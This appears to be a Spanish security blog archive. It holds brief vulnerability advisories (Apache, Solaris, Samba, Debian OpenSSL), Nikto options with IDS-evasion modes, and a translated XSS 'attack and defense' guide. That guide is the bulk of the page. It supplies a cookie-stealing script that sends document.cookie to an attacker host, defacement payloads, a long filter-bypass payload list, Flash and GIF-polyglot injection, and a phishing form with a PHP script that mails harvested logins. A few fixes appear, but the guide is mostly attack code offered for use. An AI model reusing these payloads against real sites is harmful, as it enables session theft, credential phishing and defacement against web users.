Archive for the ‘UNIX’ Category

Seguridad: Apache DoS en 1.x y 2.x

Hoy he leído una noticia bastante interesante acerca de una denegación de servicio en Apache. Tal y como dice la noticia original existe multitud de código que permite explotar este problema.

Cuando se inicia la conexión el servidor espera a las cabeceras enviadas por el cliente. Después de enviar parte de la cabecera legítima, éste (DoSer) envia unas cabeceras especialmente manipuladas que provocan que el servidor no finalice la conexión y permanezca a la espera de las demás partes de la cabecera. Para poder mandar la cabecera que “mantiene al servidor a la escucha” en la cabecera legítima no se envia un CLRF final, sino que después de un tiempo se le envía la cabecera:

X-a: b\r\n
que provoca que el servidor siga aún esperando el resto de la cabecera al no estar finalizada a través de el CLRF que mencionamos anteriormente. Debido a que este ataque se puede realizar moviendo un volumen pequeño de datos como bien apunta la fuente original cualquier usuario con un ancho de banda mínimo podría explotar esta vulnerabilidad en servidores con un ancho de banda relativamente grande.

Si habéis pensado en el parámetro MaxClients lo que hará será incrementar las necesidades de ancho de banda y CPU de los atacantes. Según Tomasz Miklas es posible bloquear este tipo de ataques usando un proxy inverso como PerlBal usándolo delante del servidor con Apache

Apche 1.x y 2.x están afectadas, así como Squid.

[ad]

ProxyBL.org

De la mano de SunBelt me entero de este interesante proyecto. Se trata de una RBL como las que muchos de nosotros usamos en los servidores de correo como filtros basados en IP (véase spamcannibal, por ejemplo) pero ésta filtra proxies anónimos y/o abiertos al público.

No he tenido la oportunidad de probarla, pero en cuanto disponga de más tiempo actualizaré esta entrada. Si alguno de vosotros ya la conocía o quiere dejar su opinión aquí, bienvenido sea.

Visitar ProxyBL.org

[ad]

Seguridad: Solaris 9 y 10 rpc.metad DoS

Se ha descubierto una vulnerabilidad que permitiría a un atacante realizar un ataque de denegación de servicio enviando peticiones RPC especialmente manipuladas.

Un usuario remoto o local podría cerrar de forma inesperada rpc.metad provocando el cierre de Solaris Volume Manager.

Se ha publicado una prueba de concepto en milw0rm.

CVE-2008-1480

Alerta en la página web de Sun

[ad]

Seguridad: Desbordamiento de memoria en Ghostscript a través de jbig2dec JBIG2

Ha sido encontrada una vulnerabilidad en Ghostscript. Un atacante local podría provocar un desbordamiento de memoria a través de la librería jbig2dec cuando descodifica símbolos de segmentos del diccionario de JBIG2. Este fallo podría ser aprovechado por el atacante para comprometer la seguridad de un usuario del sistema a través de un fichero PDF especialmente manipulado.

Esta vulnerabilidad podría permitir a un atacante la ejecución de código arbitrario en la máquina víctima.

Como solución, se recomienda no aceptar ficheros PDF sospechosos.

[ad]

Seguridad: phpMyAdmin 4.0 Corporate

Existe una vulnerabilidad XSS en pmd_pdf.php que permite a atacantes remotos inyectar código (script o HTML) usando el parámetro de script db cuando register_global está activo.

La vulnerabilidad encontrada en tbl_structure.php permite a un atacante remoto inyectar código y ejecutar código arbritrario usando el parámetro de tabla del script.

Otra vulnerabilidad permite al atacante inyectar código usando los vectores relacionados con el script del parámetro de la tabla.

Como siempre, lo mejor es actualizar usando urpmi o MandrivaUpdate. Tenéis más información acerca de estos fallos de seguridad en los siguientes enlaces:

Primero, segundo y tercero.

Fallo de seguridad en Samba (3.2.0 – 3.2.6)

Es posible acceder al directorio raíz del recurso compartido conectando a “” (ua cadena vacía de caracteres) usando smbclient, por ejemplo con:

smbclient //server/ -U user%pass

El acceso al sistema se produce con los permisos del usuario autenticado. Este problema únicamente ocurre con la variable registry_shares = yes la cual también implica tener include = registry y config backend = registry pero no es la configuración por defecto. Un parche está disponible en la página web de Samba. Lo recomendable sería actualizar, aplicar este parche o bien deshabilitar la variable en cuestión (registry shares = no).

Podéis encontrar más información al respecto aquí.

Software libre para tu Mac.

Desde hace algún tiempo vengo usando OS X para trabajar, por movilidad ya que tengo un portátil y por la facilidad de uso, potencia y estabilidad de este estupendo sistema.

En esta página podréis encontrar aplicaciones libres para vuestro Mac. Yo tengo instaladas varias y os puedo decir que estoy encantado.

Debian y SSL.

Muchos de vosotros sabréis del problema que ha tenido la gente de Debian con SSL. Resulta que el generador de números aleatorios de OpenSSL es predecible. Cualquier cosa que se genere con él es predecible y como muchos dicen lo peor es que esto durará años y tendrá muchos efectos colaterales en otras muchas distribuciones. Sólo es posible por lo visto generar un total de 65536 combinaciones. Ésto combinado con las llaves previamente calculadas hace posible un ataque de fuerza bruta a través de SSH.Y juntando todo esto, nuestro amigo Markus Mueller lo demuestra con este exploit hecho en perl en donde según él se puede sacar algo sustancioso en menos de 20 minutos.Creo que no hace falta decir que esta información es con fines educativos (aunque no sea yo el autor) únicamente.

Nikto: un scanner de vulnerabilidades web.

Nikto es un scanner de servidores web open source el cual revisa el servidor objetivo contra una lista de 3500 ficheros peligrosos en más de 250 servidores. Es muy bueno a la hora de probar tu sistema de IDS o tu firewall para las aplicaciones de tu empresa.

Cada fallo que encuentre nikto no quiere decir que realmente sea un problema, pero sí un punto en tu contra si lo que buscas es que tu aplicación y/o tu servidor web esté seguro. El manual lo tenéis haciendo click aquí.

Las opciones más comunes las tenéis aquí:

Options:
-Cgidirs+ Escanea esos directorios de CGI: ‘none’, ‘all’, o valores como ‘/cgi/’

-cookies Devuelve las cookies encontradas

-evasion+ Técnica de evasión de IDS (1-9, más abajo)

-findonly Encuentra los puertos de http(s). No hace nada más.

-Format Salva el fichero (-o) formato: htm, csv o txt (defecto).

-generic Hace un escaneo genérico completo.

-host+ Host objetivo.

-id+ Autenticación para usar, el formato es usuario:password

-mutate+ Mutar las pruebas (más abajo)

-nolookup No resuelve el host destino.

-output+ Escribe la salida en el fichero que se le especifique.

-port+ Puerto. (defecto 80).

-root+ Especificar desde qué directorio empezar, el formato es: /directorio

-ssl Forzar el uso de SSL en el puerto destino.

-timeout Tiempo máximo de espera (por defecto 10 segundos).

-useproxy Usar el proxy especificado en config.txt

-Version Saca por pantalla la versión de los plugins y de la base de datos (del nikto).

-vhost+ Host virtual (para la cabecera del host).

-404+ Tratar las páginas con este contenido como 404 (not found) + requiere un valor.
Estas opciones no pueden ser abreviadas:

-config+ usar este fichero de configuración

-debug modo debug (más información en la salida del comando).

-dbcheck revisa la sintaxis de scan_database.db y user_scan_database.db

-update actualiza la base de datos y los plugins de cirt.net

-verbose modo verbose (más información).
Técnicas de evasión de IDS: (estas no las traduzco, porque creo que es mejor dejarlas así).

1 Random URI encoding (non-UTF8)
2 Directory self-reference (/./)
3 Premature URL ending
4 Prepend long random string
5 Fake parameter
6 TAB as request spacer
7 Random case sensitivity
8 Use Windows directory separator (\)
9 Session splicing

Mutation Techniques:
1 Prueba todos los ficheros con todos los directorios raíz.

2 Ficheros y directorios con password.

3 Hace una lista probando nombres de usuario vía Apache con peticiones tipo /~ususario

4 Hace una lista de los usuarios vía cgiwrap (/cgi-bin/cgiwrap/~usuario)

Como siempre, más información en la página web y en su manual. Muy recomendable.

Cross Site Scripting (XSS): Guía de defensa y ataque.

Cross Site Scripting: Guía de defensa y ataque.

 

Autor: Xylitol.

Descripción: guía simple de los métodos para XSS.

Página web: http://xylitol.free.fr

Contacto: xylitol[en]fbi[punto]com

Fecha: 10/02/08

 

Indice:

 

  1. Qué es XSS.
  2. Programar una vulnerabilidad XSS.
  3. Programar un registrador de cookies.
  4. Securizando un XSS.
  5. Métodos para hacer un deface.
  6. Paso de filtrado.
  7. Ataque rápido.
  8. Subir el XSS.
  9. Phising con XSS.

Capítulo 1. Qué es XSS (de wikipedia, la enciclopedia gratis).

Cross Site Scripting es un fallo de seguridad que puede ser explotado desde el explorador web que uses. Este ataque permite contenido (scripts) en zonas sin privilegio, con permisos de zonas de privilegios – con subida de privilegios – dentro del navegador que ejecuta el script. La vulnerabilidad puede ser:

 

 

  1. Un bug que permite contenido (scripts) bajo ciertas condiciones, que pueden ser ejecutadas con permisos de privilegio mayores de una zona más “peligrosa”.
  2. Un error de configuración: sitios que no están a salvo listados en sitios que sí lo están.
  3. Una vulnerabilidad de XSS en una zona privilegiada.

Un ataque normalmente consta de dos pasos. El primer paso consiste en hacer funcionar el XSS para que ejecute código de la zona privilegiada. Para completar el ataque, se inyectan componentes maliciosos de ActiveX.

Este tipo de vulnerabilidad es explotada para instalar de forma “silenciosa” malware (spyware, software de control remoto, gusanos, etc) en las máquinas cliente que visitan la página web.

 

Capítulo 2. Programar una vulnerabilidad XSS.

Abre el bloc de notas y pega el siguiente código en él:

 

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
  <table width="270" border="0">
    <tr>
      <td width="106"><strong>Search:</strong></td>
        <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
      </tr>
  </table>
  <table width="268" border="0">
    <tr>
      <td width="262"><div align="center">
        <input name="submit" type="submit" value="     Search it !     " />
      </div></td>
      </tr>
  </table>
  </div>
</form>
</body>
</html>

Salva esta página como index.html. Luego haz la misma operación y copias esto:


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result  :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>

Salva esta página con el nombre XSS.php. Cierra el bloc de notas.

 

Abre index.html en el Firefox. Mete un valor y dale a buscar.

Ahora, abre la página de nuevo e introduce

 <script>alert('XSS')</script>

Envía la búsqueda. ¡Bingo, una ventana de diálogo!

 

 

/  http://127.0.0.1 dit:              X
|________________________________________|
|                                        |
|                                        |
|    ^                                   |
|   /                                   |
|  / |       XSS                        |
| /  .                                  |
| -------                                |
|                       ______           |
|                      |  OK  |          |
|                       ------           |
|________________________________________|
            XSS Vulnerability is here...

Capítulo 3. Recolector de cookie.

Mete este script en una página vulnerable (como un libro de visitas)

 

 

<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>

(www.Hax0r.com = tu página)

Abre el bloc de notas, copia est código y guárdalo como cookie.php:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli :) ', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body></html>

Suficiente para robarla, ahora a esperar el e-mail para tener la cookie.

 

Capítulo 4. Securizando el XSS.

Para arreglar el XSS usa las entidades HTML. En la línea 16 cámbia:

 

 

<body>
<span class="alerte">Search result  :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>

Por esto:

 

 

<body>
<span class="alerte">Search result  :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>

Usa htmlspecialchars() en PHP.

 

Capítulo 5. Cómo hacer el deface.

Hacer un deface con XSS es algo realmente simple. Aquí tenemos algunos ejemplos:

 

Deface con imagen:

 


<IMG src="http://hax0r.com/Haxored.png">

 

Deface con vídeo o flash:

 

 

<EMBED src="http://hax0r.com/Haxored.swf"

Más conocido:

 

 

<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>

Y también:

 

 

<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />

Capítulo 6. Evitar los filtros.

Normalmente no es fácil evitar los filtros de htmlspecialchars(). Aquí tenéis un ejemplo de cómo hacerlo:

 

 

<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over[/color]

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

[url=javascript:alert('XSS');]click me[/url]

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG src=javascript:alert(String.fromCharCode(88,83,83))>

<IMG src=\"jav
ascript:alert('XSS');\">

<IMG src=\"jav
ascript:alert('XSS');\">

<IMG src=\"jav	ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>

<IMG src=\"jav
ascript:alert('XSS');\">

<IMG src=\"jav	ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<style>@import'javascript:alert(\"XSS\")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>

<script>alert(1);</script>

Claro que hay otros, Google es tu amigo.

 

Capítulo 7. Ataque flash.

El flash se usa para animaciones complejas, animaciones, juegos. Lo que nos interesa de todo esto es la función getURL(). Esta función permite redirigir al usuario final de una página a otra. La sintaxis es la siguiente:

 

 

getURL(url:String, [window: String,[method:String]])

Y aquí tenéis un ejemplo:

 

getURL("http://victime.com/login.php?logout=true","_self");

url: indica la URL del sitio.

window: especifica entre qué frameworks debe estar la petición (_self, _blank…)

método: método para hacer la petición GET o POST (GET por defecto).

Aquí el manejo del actionscript y del Javascript para postear una alerta:

 

 

getURL("javascript:alert('XSS'");

 

En el 2002 se podía postear la cookie de alguien de la siguiente forma:

 

 

getURL("javascript:alert(document.cookie)")

 

En diciembre del 2005, una nueva alternativa apareció que tenía la posibilidad de colocar on flash en su firma para obtener un XSS permanente. ¿Cómo robar una cookie en flash? Nada para hacerlo como esto:

 

 

GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");

 

y en haxored.js:

 

 

document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;

 

Para arreglarlo es fácil, no metas ficheros en flash en tu aplicación web.

Capítulo 8. Subir el XSS.

En paint, crea un archivo con el nombre Haxored.gif por ejemplo. Luego, ábrelo en el bloc de nota, borra todas las líneas e inserta lo siguiente:

GIF89a<script>alert("XSS")</script>

Sálvalo y ciérralo. Sube Haxored.gif a cualquier hosting de imágenes gratuito y listo, tu XSS está disponible. No uses firefox, si acaso mozilla o internet explorer para ver tu imagen.

¿Por qué añadir GIF89a? Bien, algunas herramientas de upload revisan si tienen la cabecera estos caracteres en las imágenes GIF. La vulnerabilidad consiste en revisar nada más que el código que hemos mencionado, y no todo el “contenido” real del archivo de la imagen:

GIF89a<script src="http://hax0r.com/cookiegrabber.php">)

Para saber el código de otro formato de imagen, lo único que tenéis que hacer es abrir una imagen con el bloc de notas (o cualquier otro editor. Por ejemplo para los PNG es %PNG.

PNG = ‰PNG
GIF = GIF89a
JPG = ÿØÿà JFIF
BMP = BMFÖ

Para securizar esto, no revises únicamente con getimagesize().

Capítulo 9. Phising con XSS.

¿Comprendiste el objetivo del phising? ¿Y del XSS? En nuestro ejemplo, sería necesario encontrar un host vulnerable e inyectar código en la URL:

<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value=          OK          >
</form>

Tendrás que adivinar el script que simulará una forma de conexión y enviar el valor en el ejemplo de mail.php enviando este mail:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli :) ", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body></html>

El usuario deberá creer que hay algo de sobrecarga y no ocurre nada sospechoso. ¿Entendiste todo?

(N. del traductor: Dejo esto igual, ya que son los greets del autor del artículo)

        /   /                                    \   \
 ______/   /______________________________________\   \______
|     /   /                                        \   \     |
|    /   /.: Xylitol respects and hello's fly out :.\   \    |
|___/   /____________________________________________\   \___|
   /   /                                              \   \
  /___/                                                \___\

nexus, Langy, Uber0n, FullFreeez, RePliKaN!, bl00d, c0de91, Xonzai
Agent-D, Agent-Z, Vamp, Xspider, Mitnick, Honnox, Blwood, str0ke

and all hardworking sceners in the scene !

 _________________________________
|                                 |
| .: Xylitol thanks this sites :. |
|_________________________________|

http://www.googlebig.com/

http://xssed.com/

http://www.xssing.com/

http://www.milw0rm.com/

http://H4cky0u.org/

If you want to contact me for any stupid reason,
drop me an MSN or WLM only: Xylitol[at]fbi[dot]gov
____
____
\   \
 \   \_____________________________________________________________________________
  \   \                                                                            |
   \   \             Cross Site Scripting - Attack and Defense guide               |
    \   \__________________________________________________________________________|
     \   \
      \___\  By Xylitol 10-02-08

Fuente original del artículo aquí. Traducido por Jacob F.P

La información aquí expuesta es para uso educativo y demostrativo únicamente. El traductor no se hace responsable del uso que se le pueda dar a la misma, desvinculándose complétamente de cualquier responsabilidad.

Return top